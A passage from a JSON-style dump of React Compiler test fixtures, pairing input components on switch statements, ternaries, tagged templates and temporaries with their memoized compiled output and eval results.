$[1] = props.p2;\n    $[2] = t0;\n    $[3] = y;\n  } else {\n    t0 = $[2];\n    y = $[3];\n  }\n  const child = t0;\n  y.push(props.p4);\n  let t1;\n  if ($[5] !== child || $[6] !== y) {\n    t1 = <Component data={y}>{child}</Component>;\n    $[5] = child;\n    $[6] = y;\n    $[7] = t1;\n  } else {\n    t1 = $[7];\n  }\n  return t1;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch-non-final-default.js",
    "content": "function Component(props) {\n  let x = [];\n  let y;\n  switch (props.p0) {\n    case 1: {\n      break;\n    }\n    case true: {\n      x.push(props.p2);\n      y = [];\n    }\n    default: {\n      break;\n    }\n    case false: {\n      y = x;\n      break;\n    }\n  }\n  const child = <Component data={x} />;\n  y.push(props.p4);\n  return <Component data={y}>{child}</Component>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch-with-fallthrough.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(x) {\n  let y;\n  switch (x) {\n    case 0: {\n      y = 0;\n    }\n    case 1: {\n      y = 1;\n    }\n    case 2: {\n      break;\n    }\n    case 3: {\n      y = 3;\n      break;\n    }\n    case 4: {\n      y = 4;\n    }\n    case 5: {\n      y = 5;\n    }\n    default: {\n      y = 0;\n    }\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo(x) {\n  bb0: switch (x) {\n    case 0:\n    case 1:\n    case 2: {\n      break bb0;\n    }\n    case 3: {\n      break bb0;\n    }\n    case 4:\n    case 5:\n    default:\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch-with-fallthrough.js",
    "content": "function foo(x) {\n  let y;\n  switch (x) {\n    case 0: {\n      y = 0;\n    }\n    case 1: {\n      y = 1;\n    }\n    case 2: {\n      break;\n    }\n    case 3: {\n      y = 3;\n      break;\n    }\n    case 4: {\n      y = 4;\n    }\n    case 5: {\n      y = 5;\n    }\n    default: {\n      y = 0;\n    }\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch-with-only-default.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\n\nfunction Component({kind, ...props}) {\n  switch (kind) {\n    default:\n      return <Stringify {...props} />;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{kind: 'foo', a: 1, b: true, c: 'sathya'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(5);\n  let kind;\n  let props;\n  if ($[0] !== t0) {\n    ({ kind, ...props } = t0);\n    $[0] = t0;\n    $[1] = kind;\n    $[2] = props;\n  } else {\n    kind = $[1];\n    props = $[2];\n  }\n  switch (kind) {\n    default: {\n      let t1;\n      if ($[3] !== props) {\n        t1 = <Stringify {...props} />;\n        $[3] = props;\n        $[4] = t1;\n      } else {\n        t1 = $[4];\n      }\n      return t1;\n    }\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ kind: \"foo\", a: 1, b: true, c: \"sathya\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"a\":1,\"b\":true,\"c\":\"sathya\"}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch-with-only-default.js",
    "content": "import {Stringify} from 'shared-runtime';\n\nfunction Component({kind, ...props}) {\n  switch (kind) {\n    default:\n      return <Stringify {...props} />;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{kind: 'foo', a: 1, b: true, c: 'sathya'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = [];\n  let y;\n  switch (props.p0) {\n    case true: {\n      x.push(props.p2);\n      x.push(props.p3);\n      y = [];\n    }\n    case false: {\n      y = x;\n      break;\n    }\n  }\n  const child = <Component data={x} />;\n  y.push(props.p4);\n  return <Component data={y}>{child}</Component>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(8);\n  let t0;\n  let y;\n  if ($[0] !== props.p0 || $[1] !== props.p2 || $[2] !== props.p3) {\n    const x = [];\n    switch (props.p0) {\n      case true: {\n        x.push(props.p2);\n        x.push(props.p3);\n      }\n      case false: {\n        y = x;\n      }\n    }\n    t0 = <Component data={x} />;\n    $[0] = props.p0;\n    $[1] = props.p2;\n    $[2] = props.p3;\n    $[3] = t0;\n    $[4] = y;\n  } else {\n    t0 = $[3];\n    y = $[4];\n  }\n  const child = t0;\n  y.push(props.p4);\n  let t1;\n  if ($[5] !== child || $[6] !== y) {\n    t1 = <Component data={y}>{child}</Component>;\n    $[5] = child;\n    $[6] = y;\n    $[7] = t1;\n  } else {\n    t1 = $[7];\n  }\n  return t1;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch.js",
    "content": "function Component(props) {\n  let x = [];\n  let y;\n  switch (props.p0) {\n    case true: {\n      x.push(props.p2);\n      x.push(props.p3);\n      y = [];\n    }\n    case false: {\n      y = x;\n      break;\n    }\n  }\n  const child = <Component data={x} />;\n  y.push(props.p4);\n  return <Component data={y}>{child}</Component>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/tagged-template-in-hook.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useFragment} from 'shared-runtime';\n\nfunction Component(props) {\n  const user = useFragment(\n    graphql`\n      fragment F on User {\n        name\n      }\n    `,\n    props.user\n  );\n  return user.name;\n}\n\n```\n\n## Code\n\n```javascript\nimport { useFragment } from \"shared-runtime\";\n\nfunction Component(props) {\n  const user = useFragment(\n    graphql`\n      fragment F on User {\n        name\n      }\n    `,\n    props.user,\n  );\n  return user.name;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/tagged-template-in-hook.js",
    "content": "import {useFragment} from 'shared-runtime';\n\nfunction Component(props) {\n  const user = useFragment(\n    graphql`\n      fragment F on User {\n        name\n      }\n    `,\n    props.user\n  );\n  return user.name;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/tagged-template-literal.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component() {\n  let t = graphql`\n    fragment F on T {\n      id\n    }\n  `;\n\n  return t;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = graphql`\n      fragment F on T {\n        id\n      }\n    `;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const t = t0;\n\n  return t;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/tagged-template-literal.js",
    "content": "function component() {\n  let t = graphql`\n    fragment F on T {\n      id\n    }\n  `;\n\n  return t;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/target-flag-meta-internal.expect.md",
    "content": "\n## Input\n\n```javascript\n// @target=\"donotuse_meta_internal\"\n\nfunction Component() {\n  return <div>Hello world</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: true,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @target=\"donotuse_meta_internal\"\n\nfunction Component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <div>Hello world</div>;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: true,\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/target-flag-meta-internal.js",
    "content": "// @target=\"donotuse_meta_internal\"\n\nfunction Component() {\n  return <div>Hello world</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: true,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/target-flag.expect.md",
    "content": "\n## Input\n\n```javascript\n// @target=\"18\"\n\nfunction Component() {\n  return <div>Hello world</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: true,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @target=\"18\"\n\nfunction Component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <div>Hello world</div>;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: true,\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>Hello world</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/target-flag.js",
    "content": "// @target=\"18\"\n\nfunction Component() {\n  return <div>Hello world</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: true,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/template-literal.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction componentA(props) {\n  let t = `hello ${props.a}, ${props.b}!`;\n  t += ``;\n  return t;\n}\n\nfunction componentB(props) {\n  let x = useFoo(`hello ${props.a}`);\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nfunction componentA(props) {\n  let t = `hello ${props.a}, ${props.b}!`;\n  t = t + \"\";\n  return t;\n}\n\nfunction componentB(props) {\n  const x = useFoo(`hello ${props.a}`);\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/template-literal.js",
    "content": "function componentA(props) {\n  let t = `hello ${props.a}, ${props.b}!`;\n  t += ``;\n  return t;\n}\n\nfunction componentB(props) {\n  let x = useFoo(`hello ${props.a}`);\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/temporary-accessed-outside-scope.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const maybeMutable = new MaybeMutable();\n  let x = props;\n  return [x, maybeMutate(maybeMutable)];\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(6);\n  let t0;\n  let t1;\n  if ($[0] !== props) {\n    const maybeMutable = new MaybeMutable();\n    const x = props;\n    t0 = x;\n    t1 = maybeMutate(maybeMutable);\n    $[0] = props;\n    $[1] = t0;\n    $[2] = t1;\n  } else {\n    t0 = $[1];\n    t1 = $[2];\n  }\n  let t2;\n  if ($[3] !== t0 || $[4] !== t1) {\n    t2 = [t0, t1];\n    $[3] = t0;\n    $[4] = t1;\n    $[5] = t2;\n  } else {\n    t2 = $[5];\n  }\n  return t2;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/temporary-accessed-outside-scope.js",
    "content": "function Component(props) {\n  const maybeMutable = new MaybeMutable();\n  let x = props;\n  return [x, maybeMutate(maybeMutable)];\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/temporary-at-start-of-value-block.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(props) {\n  // NOTE: the temporary for the leading space was previously dropped\n  const x = isMenuShown ? <Bar> {props.a ? props.b : props.c}</Bar> : null;\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props) {\n    t0 = isMenuShown ? <Bar> {props.a ? props.b : props.c}</Bar> : null;\n    $[0] = props;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/temporary-at-start-of-value-block.js",
    "content": "function component(props) {\n  // NOTE: the temporary for the leading space was previously dropped\n  const x = isMenuShown ? <Bar> {props.a ? props.b : props.c}</Bar> : null;\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/temporary-property-load-accessed-outside-scope.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const maybeMutable = new MaybeMutable();\n  let x = props.value;\n  return [x, maybeMutate(maybeMutable)];\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(6);\n  let t0;\n  let t1;\n  if ($[0] !== props.value) {\n    const maybeMutable = new MaybeMutable();\n    const x = props.value;\n    t0 = x;\n    t1 = maybeMutate(maybeMutable);\n    $[0] = props.value;\n    $[1] = t0;\n    $[2] = t1;\n  } else {\n    t0 = $[1];\n    t1 = $[2];\n  }\n  let t2;\n  if ($[3] !== t0 || $[4] !== t1) {\n    t2 = [t0, t1];\n    $[3] = t0;\n    $[4] = t1;\n    $[5] = t2;\n  } else {\n    t2 = $[5];\n  }\n  return t2;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/temporary-property-load-accessed-outside-scope.js",
    "content": "function Component(props) {\n  const maybeMutable = new MaybeMutable();\n  let x = props.value;\n  return [x, maybeMutate(maybeMutable)];\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ternary-assignment-expression.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction ternary(props) {\n  let x = 0;\n  const y = props.a ? (x = 1) : (x = 2);\n  return x + y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: ternary,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction ternary(props) {\n  let x;\n  const y = props.a ? (x = 1) : (x = 2);\n  return x + y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: ternary,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ternary-assignment-expression.js",
    "content": "function ternary(props) {\n  let x = 0;\n  const y = props.a ? (x = 1) : (x = 2);\n  return x + y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: ternary,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ternary-expression.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction ternary(props) {\n  const a = props.a && props.b ? props.c || props.d : (props.e ?? props.f);\n  const b = props.a ? (props.b && props.c ? props.d : props.e) : props.f;\n  return a ? b : null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: ternary,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction ternary(props) {\n  const a = props.a && props.b ? props.c || props.d : (props.e ?? props.f);\n  const b = props.a ? (props.b && props.c ? props.d : props.e) : props.f;\n  return a ? b : null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: ternary,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ternary-expression.js",
    "content": "function ternary(props) {\n  const a = props.a && props.b ? props.c || props.d : (props.e ?? props.f);\n  const b = props.a ? (props.b && props.c ? props.d : props.e) : props.f;\n  return a ? b : null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: ternary,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/timers.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const start = performance.now();\n  const now = Date.now();\n  const time = performance.now() - start;\n  return (\n    <div>\n      rendering took {time} at {now}\n    </div>\n  );\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  const start = performance.now();\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = Date.now();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const now = t0;\n  const time = performance.now() - start;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = (\n      <div>\n        rendering took\n        {time} at {now}\n      </div>\n    );\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/timers.js",
    "content": "function Component(props) {\n  const start = performance.now();\n  const now = Date.now();\n  const time = performance.now() - start;\n  return (\n    <div>\n      rendering took {time} at {now}\n    </div>\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-function-expression-captures-value-later-frozen.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = {};\n  // onChange should be inferred as immutable, because the value\n  // it captures (`x`) is frozen by the time the function is referenced\n  const onChange = e => {\n    maybeMutate(x, e.target.value);\n  };\n  if (props.cond) {\n    <div>{x}</div>;\n  }\n  // ideally this call would be outside the memoization block for `x`\n  onChange();\n  return <Foo value={x} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.cond) {\n    const x = {};\n    const onChange = (e) => {\n      maybeMutate(x, e.target.value);\n    };\n    if (props.cond) {\n    }\n    onChange();\n    t0 = <Foo value={x} />;\n    $[0] = props.cond;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-function-expression-captures-value-later-frozen.js",
    "content": "function Component(props) {\n  let x = {};\n  // onChange should be inferred as immutable, because the value\n  // it captures (`x`) is frozen by the time the function is referenced\n  const onChange = e => {\n    maybeMutate(x, e.target.value);\n  };\n  if (props.cond) {\n    <div>{x}</div>;\n  }\n  // ideally this call would be outside the memoization block for `x`\n  onChange();\n  return <Foo value={x} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-global-load-cached.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\nimport {makeArray} from 'shared-runtime';\n\n/**\n * Here, we don't need to memoize Stringify as it is a read off of a global.\n * TODO: in PropagateScopeDeps (hir), we should produce a sidemap of global rvals\n * and avoid adding them to `temporariesUsedOutsideDefiningScope`.\n */\nfunction Component({num}: {num: number}) {\n  const arr = makeArray(num);\n  return <Stringify value={arr.push(num)}></Stringify>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{num: 2}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\nimport { makeArray } from \"shared-runtime\";\n\n/**\n * Here, we don't need to memoize Stringify as it is a read off of a global.\n * TODO: in PropagateScopeDeps (hir), we should produce a sidemap of global rvals\n * and avoid adding them to `temporariesUsedOutsideDefiningScope`.\n */\nfunction Component(t0) {\n  const $ = _c(6);\n  const { num } = t0;\n  let T0;\n  let t1;\n  if ($[0] !== num) {\n    const arr = makeArray(num);\n    T0 = Stringify;\n    t1 = arr.push(num);\n    $[0] = num;\n    $[1] = T0;\n    $[2] = t1;\n  } else {\n    T0 = $[1];\n    t1 = $[2];\n  }\n  let t2;\n  if ($[3] !== T0 || $[4] !== t1) {\n    t2 = <T0 value={t1} />;\n    $[3] = T0;\n    $[4] = t1;\n    $[5] = t2;\n  } else {\n    t2 = $[5];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ num: 2 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"value\":2}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-global-load-cached.tsx",
    "content": "import {Stringify} from 'shared-runtime';\nimport {makeArray} from 'shared-runtime';\n\n/**\n * Here, we don't need to memoize Stringify as it is a read off of a global.\n * TODO: in PropagateScopeDeps (hir), we should produce a sidemap of global rvals\n * and avoid adding them to `temporariesUsedOutsideDefiningScope`.\n */\nfunction Component({num}: {num: number}) {\n  const arr = makeArray(num);\n  return <Stringify value={arr.push(num)}></Stringify>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{num: 2}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-global-property-load-cached.expect.md",
    "content": "\n## Input\n\n```javascript\nimport * as SharedRuntime from 'shared-runtime';\nimport {makeArray} from 'shared-runtime';\n\n/**\n * Here, we don't need to memoize SharedRuntime.Stringify as it is a PropertyLoad\n * off of a global.\n * TODO: in PropagateScopeDeps (hir), we should produce a sidemap of global rvals\n * and avoid adding them to `temporariesUsedOutsideDefiningScope`.\n */\nfunction Component({num}: {num: number}) {\n  const arr = makeArray(num);\n  return (\n    <SharedRuntime.Stringify value={arr.push(num)}></SharedRuntime.Stringify>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{num: 2}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport * as SharedRuntime from \"shared-runtime\";\nimport { makeArray } from \"shared-runtime\";\n\n/**\n * Here, we don't need to memoize SharedRuntime.Stringify as it is a PropertyLoad\n * off of a global.\n * TODO: in PropagateScopeDeps (hir), we should produce a sidemap of global rvals\n * and avoid adding them to `temporariesUsedOutsideDefiningScope`.\n */\nfunction Component(t0) {\n  const $ = _c(6);\n  const { num } = t0;\n  let T0;\n  let t1;\n  if ($[0] !== num) {\n    const arr = makeArray(num);\n    T0 = SharedRuntime.Stringify;\n    t1 = arr.push(num);\n    $[0] = num;\n    $[1] = T0;\n    $[2] = t1;\n  } else {\n    T0 = $[1];\n    t1 = $[2];\n  }\n  let t2;\n  if ($[3] !== T0 || $[4] !== t1) {\n    t2 = <T0 value={t1} />;\n    $[3] = T0;\n    $[4] = t1;\n    $[5] = t2;\n  } else {\n    t2 = $[5];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ num: 2 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"value\":2}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-global-property-load-cached.tsx",
    "content": "import * as SharedRuntime from 'shared-runtime';\nimport {makeArray} from 'shared-runtime';\n\n/**\n * Here, we don't need to memoize SharedRuntime.Stringify as it is a PropertyLoad\n * off of a global.\n * TODO: in PropagateScopeDeps (hir), we should produce a sidemap of global rvals\n * and avoid adding them to `temporariesUsedOutsideDefiningScope`.\n */\nfunction Component({num}: {num: number}) {\n  const arr = makeArray(num);\n  return (\n    <SharedRuntime.Stringify value={arr.push(num)}></SharedRuntime.Stringify>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{num: 2}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-granular-iterator-semantics.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useIdentity, ValidateMemoization} from 'shared-runtime';\n\n/**\n * Fixture for granular iterator semantics:\n * 1. ConditionallyMutate the iterator itself, depending on whether the iterator\n *    is a mutable iterator.\n * 2. Capture effect on elements within the iterator.\n */\nfunction Validate({x, input}) {\n  'use no memo';\n  return (\n    <>\n      <ValidateMemoization inputs={[]} output={x[0]} onlyCheckCompiled={true} />\n      <ValidateMemoization\n        inputs={[input]}\n        output={x[1]}\n        onlyCheckCompiled={true}\n      />\n    </>\n  );\n}\nfunction useFoo(input) {\n  'use memo';\n  /**\n   * We should be able to memoize {} separately from `x`.\n   */\n  const x = Array.from([{}]);\n  useIdentity();\n  x.push([input]);\n  return <Validate x={x} input={input} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [1],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useIdentity, ValidateMemoization } from \"shared-runtime\";\n\n/**\n * Fixture for granular iterator semantics:\n * 1. ConditionallyMutate the iterator itself, depending on whether the iterator\n *    is a mutable iterator.\n * 2. Capture effect on elements within the iterator.\n */\nfunction Validate({ x, input }) {\n  \"use no memo\";\n  return (\n    <>\n      <ValidateMemoization inputs={[]} output={x[0]} onlyCheckCompiled={true} />\n      <ValidateMemoization\n        inputs={[input]}\n        output={x[1]}\n        onlyCheckCompiled={true}\n      />\n    </>\n  );\n}\nfunction useFoo(input) {\n  \"use memo\";\n  const $ = _c(6);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [{}];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const x = Array.from(t0);\n  useIdentity();\n  let t1;\n  if ($[1] !== input) {\n    t1 = [input];\n    $[1] = input;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  x.push(t1);\n  let t2;\n  if ($[3] !== input || $[4] !== x) {\n    t2 = <Validate x={x} input={input} />;\n    $[3] = input;\n    $[4] = x;\n    $[5] = t2;\n  } else {\n    t2 = $[5];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [1],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[],\"output\":{}}</div><div>{\"inputs\":[1],\"output\":[1]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-granular-iterator-semantics.js",
    "content": "import {useIdentity, ValidateMemoization} from 'shared-runtime';\n\n/**\n * Fixture for granular iterator semantics:\n * 1. ConditionallyMutate the iterator itself, depending on whether the iterator\n *    is a mutable iterator.\n * 2. Capture effect on elements within the iterator.\n */\nfunction Validate({x, input}) {\n  'use no memo';\n  return (\n    <>\n      <ValidateMemoization inputs={[]} output={x[0]} onlyCheckCompiled={true} />\n      <ValidateMemoization\n        inputs={[input]}\n        output={x[1]}\n        onlyCheckCompiled={true}\n      />\n    </>\n  );\n}\nfunction useFoo(input) {\n  'use memo';\n  /**\n   * We should be able to memoize {} separately from `x`.\n   */\n  const x = Array.from([{}]);\n  useIdentity();\n  x.push([input]);\n  return <Validate x={x} input={input} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [1],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-optional-call-chain-in-optional.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useFoo(props: {value: {x: string; y: string} | null}) {\n  const value = props.value;\n  return createArray(value?.x, value?.y)?.join(', ');\n}\n\nfunction createArray<T>(...args: Array<T>): Array<T> {\n  return args;\n}\n\nexport const FIXTURE_ENTRYPONT = {\n  fn: useFoo,\n  props: [{value: null}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction useFoo(props) {\n  const $ = _c(3);\n  const value = props.value;\n  let t0;\n  if ($[0] !== value?.x || $[1] !== value?.y) {\n    t0 = createArray(value?.x, value?.y)?.join(\", \");\n    $[0] = value?.x;\n    $[1] = value?.y;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  return t0;\n}\n\nfunction createArray(...t0) {\n  const args = t0;\n  return args;\n}\n\nexport const FIXTURE_ENTRYPONT = {\n  fn: useFoo,\n  props: [{ value: null }],\n};\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-optional-call-chain-in-optional.ts",
